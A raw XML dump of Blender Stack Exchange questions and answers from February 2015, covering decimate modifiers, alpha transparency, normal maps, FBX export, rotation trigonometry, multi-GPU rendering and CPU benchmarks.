  <row Id="26307" PostTypeId="1" AcceptedAnswerId="26318" CreationDate="2015-02-26T13:35:57.877" Score="4" ViewCount="347" Body="&lt;p&gt;I have a 3D model from our engineering department with accurate measures of our product (format: VRML) that I want to give to a third party. The third party doesn't need an accurate model for what they are supposed to do with it. Now I want to modify the whole model with little effort to protect our technical know-how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know a solution in Blender to accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played a little bit with the decimate modifier and it looked promising.&#xA;The draw back I see with it, is the disproportionate effort I have to make since I don't know how to apply the modifier on ALL faces of ALL objects in the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a short step-by-step tutorial to get all faces modified at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question that comes to my mind regarding the protection effect: If I modify the model and export it again to the VRML-format, then the modification I made in Blender is definite/destructive in opposite to the Blender-format itself where it stays non-destructive and I can adjust the modifier again. Am I right?&lt;/p&gt;&#xA;" OwnerUserId="12829" LastEditorUserId="12830" LastEditDate="2015-02-26T13:48:40.550" LastActivityDate="2015-02-27T19:38:38.710" Title="How to modify accurate 3D models to protect technical know-how" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;export&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26308" PostTypeId="1" AcceptedAnswerId="26309" CreationDate="2015-02-26T15:02:48.953" Score="2" ViewCount="1150" Body="&lt;p&gt;I already activated the transparency, the alpha, what i'm missing? if i see the texture preview it looks like it doesnt have a background, but when i render it it still appears.&#xA;Help please! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B2099.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2015-02-26T15:14:55.073" LastActivityDate="2015-02-26T15:29:11.903" Title="How can i activate the alpha on Blender Render?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-26T15:54:17.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="26309" PostTypeId="2" ParentId="26308" CreationDate="2015-02-26T15:08:06.510" Score="2" Body="&lt;p&gt;You need to enable it in the Material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tX28e.jpg&quot; alt=&quot;Transparency Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tick the &lt;em&gt;Transparency&lt;/em&gt; checkbox and set the &lt;em&gt;Alpha&lt;/em&gt; value to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be sure to make that the texture &lt;em&gt;Influence&lt;/em&gt; affects the &lt;em&gt;Alpha&lt;/em&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ogrDw.jpg&quot; alt=&quot;Influence Alpha&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-26T15:29:11.903" LastActivityDate="2015-02-26T15:29:11.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26310" PostTypeId="1" CreationDate="2015-02-26T15:16:39.853" Score="2" ViewCount="55" Body="&lt;p&gt;It is possible to get/cast a shadow from the image on the 3D plane with alpha?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhAWY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-26T15:16:39.853" Title="Is it possible to cast shadows from a sillouethe made by alpha texture?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-02-26T16:50:09.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="26311" PostTypeId="1" AcceptedAnswerId="26351" CreationDate="2015-02-26T15:54:17.080" Score="5" ViewCount="1241" Body="&lt;p&gt;Is there some way to hide the axis of linked objects?  I'm working on a model that's a composite of a bunch of others and all the crosshairs are making it really difficult to work with as most of the work has to be done in wireframe just to get the positioning right for internal objects. The image below demonstrates the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cORa8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11360" LastEditorUserId="241" LastEditDate="2015-02-26T15:57:46.180" LastActivityDate="2021-04-16T20:48:09.067" Title="Hide axis of linked objects?" Tags="&lt;linked-data&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26312" PostTypeId="1" CreationDate="2015-02-26T16:28:56.380" Score="1" ViewCount="258" Body="&lt;p&gt;I am working  on cycle render using MakeHuman model. On MakeHuman , model has some texture images.  I remark for example when I do a person with t-shirt that there is two images shirt_normals.png and shirt_texture.png. In the Node mode, I rely these images as mentioned in the below image. What is the difference between these images? And is my work is correct? Because, I could not remark any effect of the shirt_normals.png  image.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uCmUI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-02-26T16:54:19.420" LastActivityDate="2015-02-26T17:47:18.717" Title="Texture Node in the cycle render" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26313" PostTypeId="2" ParentId="26312" CreationDate="2015-02-26T16:47:01.073" Score="1" Body="&lt;p&gt;The texture (usually called a &lt;em&gt;diffuse&lt;/em&gt; map) simply affects the color of the object.  The &lt;em&gt;normal&lt;/em&gt; map affects the &lt;a href=&quot;https://blender.stackexchange.com/questions/21190/what-are-face-normals&quot;&gt;normals&lt;/a&gt; to create a bump-mapping effect.  This works by converting the red and green channels of the normal map to x and y (or y and x, I forget which) rotation of the surface normals (&lt;code&gt;0.5&lt;/code&gt; being straight up, or no change) to simulate small bumps and surface details for added realism.  (The blue channel is actually ignored, though it is usually set at &lt;code&gt;0.5&lt;/code&gt; as well which makes for the distinctive pinkish/bluish color of a normal map.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your setup, you have two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to send the normal map through the &lt;em&gt;color&lt;/em&gt; input of a &lt;em&gt;vector &gt; normal map&lt;/em&gt; node and the &lt;em&gt;normal&lt;/em&gt; output of that to the &lt;em&gt;normal&lt;/em&gt; input of the shaders.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are giving the normal map normals as &lt;a href=&quot;https://blender.stackexchange.com/a/23174/5705&quot;&gt;mapping coordinates&lt;/a&gt;, all texture maps should have the same mapping coordinates.  In this case it looks like you are using &lt;em&gt;generated&lt;/em&gt; for the diffuse so you should use generated coordinates for the normal map as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6BIn9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;Credit to &lt;a href=&quot;https://blender.stackexchange.com/q/16443/5705&quot;&gt;@Vladimir&lt;/a&gt; for image, this is a croped version of his screenshot as I don't have Blender available at the moment.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-02-26T17:47:18.717" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26314" PostTypeId="2" ParentId="26301" CreationDate="2015-02-26T17:28:25.310" Score="3" Body="&lt;p&gt;An emitter object emits particles. It does not have any drivers associated with it that it passes onto particles. When it emits objects, the objects it emits as particles can have drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to be looking in the original objects for the drivers, each object gets duplicated as a particle - the drivers the particles use are duplicated from the original object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Sphere.048'].animation_data.drivers[0].driver.expression&#xA;'randf(0.25,0.9)'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as the existence of &lt;code&gt;particle_systems[0].particles[0].driver_add()&lt;/code&gt; goes, I expect it only exists as an inherited function from the base class, same as &lt;code&gt;keyframe_insert, items, keys...&lt;/code&gt; To add a driver to an individual particle would mean it only exists during the particles lifetime, meaning you would need to add the driver as each particle is created. The properties you can access from each particle object is only relevant to a particles existence, so I also expect that most of these values are 'driven' by the particle system and will not actually work with drivers.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-26T17:28:25.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26315" PostTypeId="1" CreationDate="2015-02-26T17:39:13.223" Score="0" ViewCount="1216" Body="&lt;p&gt;I am using blender 2.73a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rig a mesh with a armature and export it using FBX 6.1 ASCII exporter. However when I import it in UE4 there is a another bone named 'Armature' before root bone!&#xA;This happens with every mesh-armature pair. This is undesirable as it shifts the origin of the mesh (Which is root bone in UE4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1j5kH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2020-07-30T21:54:01.903" Title="Blender ascii fbx adds a Armature bone before root bone UE4" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26316" PostTypeId="1" CreationDate="2015-02-26T18:29:02.250" Score="4" ViewCount="15688" Body="&lt;p&gt;Whenever I export the file from maya to fbx and import into blender, the rig changes and the animation it doesn't work like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried exporting to a dae and importing into blender, but there's nothing. No mesh or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;https://www.dropbox.com/s/czccfp6rrcnvx2d/book4.ma?dl=0&quot; rel=&quot;nofollow&quot;&gt;maya file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="599" LastEditDate="2015-02-27T07:44:27.813" LastActivityDate="2016-03-14T17:22:50.970" Title="How to import a rig and animation from maya?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;import&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26317" PostTypeId="1" AcceptedAnswerId="26319" CreationDate="2015-02-26T19:02:24.667" Score="5" ViewCount="1461" Body="&lt;p&gt;I faced a strange behavior of Blender while trying to make something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fyfgn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in one of the projections. It's clear that angle B (see picture below) should be 60 degrees for trivial trigonometrical reasons: just assume that the side of the square has the length 1 and calculate sin(A). Also note that D-D1 is divided into two &lt;em&gt;equal&lt;/em&gt; parts by the inclined segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52XhF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to reproduce that in Blender in orthographic projection of 3d view. Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new file&lt;/li&gt;&#xA;&lt;li&gt;Delete cube&lt;/li&gt;&#xA;&lt;li&gt;Press numpad 1 to view XZ plane&lt;/li&gt;&#xA;&lt;li&gt;Press numpad 5 to switch to orthographic projection&lt;/li&gt;&#xA;&lt;li&gt;Shift+s -&gt; Cursor to center to ensure that cursor is centered&lt;/li&gt;&#xA;&lt;li&gt;Shift+a -&gt; Mesh -&gt; Plane, so in selected projection we see the new plane as a segment.&lt;/li&gt;&#xA;&lt;li&gt;Press N and enter &quot;-60&quot; to &quot;Rotation: Y:&quot; in the panel appeared.&lt;/li&gt;&#xA;&lt;li&gt;Enter &quot;-0.5&quot; to &quot;Location: X:&quot; in the same panel.&lt;/li&gt;&#xA;&lt;li&gt;Scale to ensure that we didn't get the required picture.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After this steps I get the following (open image in new tab or window):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYqNX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we fulfill this image to squares like above (see fulfilled image below) and count smaller squares, then we get 10 squares in horizontal line and less than 18 squares in vertical line, so sine of A on the picture from blender is not equal to 1/2 (it's greater) =&gt; angle A itself is greater than 30 degrees, but angle B is equal to 60 degrees by our definition! So the sum of degree measures in triangles drawn in blender gets greater than 180 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UsqR6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a weird logic in blender. Or are there any mistakes in my argumentation and I don't understand something about Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a computational precision issue. We use plane of the default size and there is no bouncing if we zoom the scene either in or out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling the plane (i.e. lengthening it's projection) will homogeneously scale all construction and will not affect angles and trigonometric functions of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt; of the &quot;paradox&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I confused lengths of what I have on the &quot;paint&quot; picture with what I want to get in blender. Of course, half-length of the inclined segment is not equal to 1 =&gt; sin(a) != 1/2.&lt;/p&gt;&#xA;" OwnerUserId="12834" LastEditorUserId="12834" LastEditDate="2015-02-27T03:45:11.370" LastActivityDate="2021-03-08T17:54:51.727" Title="Does rotation by exact angle become low-precise in blender?" Tags="&lt;modeling&gt;&lt;geometry&gt;&lt;coordinates&gt;" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26318" PostTypeId="2" ParentId="26307" CreationDate="2015-02-26T19:29:10.517" Score="5" Body="&lt;p&gt;Setup your decimate modifier on one of the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in object mode, select all objects (&lt;kbd&gt;A&lt;/kbd&gt;) or all needed object (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your decimated object is active (different color, usually brighter orange), if it's not, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; on it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; to open the link menu and select &quot;modifiers&quot;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PmhPg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the selected objects will now have the exact same modifiers as the active object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uXYV7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About export : modifiers are applied when exporting, so it will be destructive. There can be a checkbox (depending on file format) to apply modifiers or not.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="1653" LastEditDate="2015-02-27T19:38:38.710" LastActivityDate="2015-02-27T19:38:38.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26319" PostTypeId="2" ParentId="26317" CreationDate="2015-02-26T19:37:42.843" Score="5" Body="&lt;p&gt;I believe the issue comes more with the maths than with Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remember SOHCAHTOA, we know the adjacent side to angle B (0.5) and the length of the side opposite angle B (1). Adjacent and Opposite sides work with tan as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tanθ = Opposite/Adjacent&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Substitute in the known lengths with arctan as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;arctan(1/0.5) = 63.43...`&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is why Blender looked to be slightly imprecise, where you thought it was 60 degrees, it's actually 63.4 degrees, a small difference, but it explains what seemed to be an error on Blender's part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a little tip, you can use shift while scale(s), rotating(r) and translating(g) objects to do it more precisely and this could help you test things a little bit by judging by eye.&lt;/p&gt;&#xA;" OwnerUserId="6308" LastActivityDate="2015-02-26T19:37:42.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26320" PostTypeId="2" ParentId="26317" CreationDate="2015-02-26T19:39:00.013" Score="4" Body="&lt;p&gt;your math is wrong...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;angle 1: 90°&#xA;angle 2: 63.435°&#xA;angle 3: 26.565°&lt;/p&gt;&#xA;&#xA;&lt;p&gt;side 1: 1&#xA;side 2: 0.5&#xA;side 3: 1.118&lt;/p&gt;&#xA;&#xA;&lt;p&gt;correct this may be in: &lt;a href=&quot;http://www.cleavebooks.co.uk/scol/calrtri.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;triangle calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6p2db.png&quot; alt=&quot;image example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-02-26T19:39:00.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26322" PostTypeId="2" ParentId="26317" CreationDate="2015-02-26T20:28:33.463" Score="4" Body="&lt;p&gt;To create a rectangle like that, where angle B is 60°, I'd do like this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a circle with 3 vertices. This will create an equiangular triangle.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/59e1M.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode, select one edge and subdivide it once.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SMoVw.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an edge. Select the middle vertex of the edge you subdivided and the vertex to which it's not connected and hit &lt;kbd&gt;F&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tb5u8.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete half of it. Select one of the corner vertices of the edge you subdivided and hit &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;V&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PlAyJ.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the other corner vertex of the edge you subdivided and snap cursor to selected (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;U&lt;/kbd&gt;). Set pivot point to 3D Cursor (see red marking in the image). Select all (&lt;kbd&gt;A&lt;/kbd&gt; twice), duplicate but cancel the translation (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; &gt; &lt;kbd&gt;Esc&lt;/kbd&gt;) and rotate 180° around the Z&lt;sup&gt;1&lt;/sup&gt; axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;8&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZDi7C.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt; twice). Duplicate but cancel the translation (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; &gt; &lt;kbd&gt;Esc&lt;/kbd&gt;) and rotate 180° around the X&lt;sup&gt;1&lt;/sup&gt; axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;8&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XVwPG.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt; twice). Remove doubles (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;). Select the diagonal you don't want (two edges, three vertices) and delete it (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;E&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7bkH4.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select two adjacent, unconnected vertices and make an edge between them (&lt;kbd&gt;F&lt;/kbd&gt;), then do the same with the other two adjacent, unconnected vertices.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5mSW6.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;I'm in top view. If you're in another view, you will need to rotate around other axes.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-26T22:04:36.110" LastActivityDate="2015-02-26T22:04:36.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26323" PostTypeId="2" ParentId="26317" CreationDate="2015-02-26T20:28:42.953" Score="11" Body="&lt;p&gt;It seems you have made a slight mathematical error.&lt;/p&gt;&#xA;&lt;p&gt;The plane has a length of 2 (by default), so if you look at the diagram, the hypotenuse of one of the smaller right triangles is half the length of the plane, so it is &lt;span class=&quot;math-container&quot;&gt;$\frac{2}{2} = 1$&lt;/span&gt; unit long.  Now, &lt;span class=&quot;math-container&quot;&gt;$\cos(60) = \frac{1}{2}$&lt;/span&gt; so the shorter leg will have length &lt;span class=&quot;math-container&quot;&gt;$(1)\cos(60) = (1)\cdot(\frac{1}{2}) = \frac{1}{2}$&lt;/span&gt;.  Here is where you made a mistake: &lt;span class=&quot;math-container&quot;&gt;$\sin(60) = \frac{\sqrt{3}}{2}$&lt;/span&gt;, so the longer leg will have length &lt;span class=&quot;math-container&quot;&gt;$(1)\cdot\sin(60) = \frac{\sqrt{3}}{2}$&lt;/span&gt;, not &lt;span class=&quot;math-container&quot;&gt;$2$&lt;/span&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since I stink at making mathematical diagrams on paint and that is all I have on my tablet, here is a diagram I drew:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HDERP.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2021-03-08T17:54:51.727" LastActivityDate="2021-03-08T17:54:51.727" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26324" PostTypeId="1" AcceptedAnswerId="26326" CreationDate="2015-02-26T20:33:05.987" Score="2" ViewCount="878" Body="&lt;p&gt;Can you use 2 non SLI GPUs  in Blender with 2 different architectures an example&#xA;a geforce gtx 560 and a quadro fx 4000.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="29" LastEditDate="2015-02-26T21:17:03.593" LastActivityDate="2015-02-26T21:17:03.593" Title="Can you use 2 non SLI GPUs in Blender?" Tags="&lt;gpu&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26325" PostTypeId="2" ParentId="26317" CreationDate="2015-02-26T21:07:31.363" Score="2" Body="&lt;p&gt;If what you're after is that Z shape, here's how I'd go about it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a circle with 3 vertices.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/32yUK.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode. Select the edge to the right and delete it (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;E&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RmGMA.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the top vertex and snap cursor to selected (&lt;kbd&gt;Shirt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;U&lt;/kbd&gt;). Set pivot point to 3D cursor (see red marking in the image).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JLeoP.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt; twice). Duplicate but cancel the translation (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; &gt; &lt;kbd&gt;Esc&lt;/kbd&gt;). Rotate 180° around the Z&lt;sup&gt;1&lt;/sup&gt; axis. Select all (&lt;kbd&gt;A&lt;/kbd&gt; twice). Remove doubles (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;). Optionally, select the middle vertex and dissolve it (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u23Cr.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;I'm in top view. If you're in another view, you will need to rotate around another axis.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-26T21:20:34.083" LastActivityDate="2015-02-26T21:20:34.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26326" PostTypeId="2" ParentId="26324" CreationDate="2015-02-26T21:16:11.840" Score="3" Body="&lt;p&gt;In one system I use different architectures:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GTX 660 Ti - Kepler&lt;/li&gt;&#xA;&lt;li&gt;GTX 980 -  Maxwell &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this does not prove that it will work with all combinations, but as long the drivers support  CUDA (true for both GPUs you listed) it should work fine. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-26T21:16:11.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26328" PostTypeId="1" AcceptedAnswerId="26332" CreationDate="2015-02-27T00:05:58.907" Score="0" ViewCount="1083" Body="&lt;p&gt;I see Xeon and I7s in the top ten benchmarks for cycles in the Mike pan &#xA;Benchmark for cycles the best single cpu was the i7 3930K it got a time of 2 minutes&#xA;And it is a 60 Gflops cpu I have a amd a8 sires cpu (I don't know the exact model and it does not matter) and it is overclock to 5ghz witch is also a 60 flop cpu&#xA;And it takes 5 minutes to render the same scene&#xA;The point is why are intel cpus with the same computing power as an equivalent&#xA;Amd cpu rendering the sceen so much faster&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="12782" LastEditDate="2015-06-19T19:58:40.620" LastActivityDate="2015-06-19T19:58:40.620" Title="are intel cpus beter for blender than amd cpus (no opinions aloud just facts)" 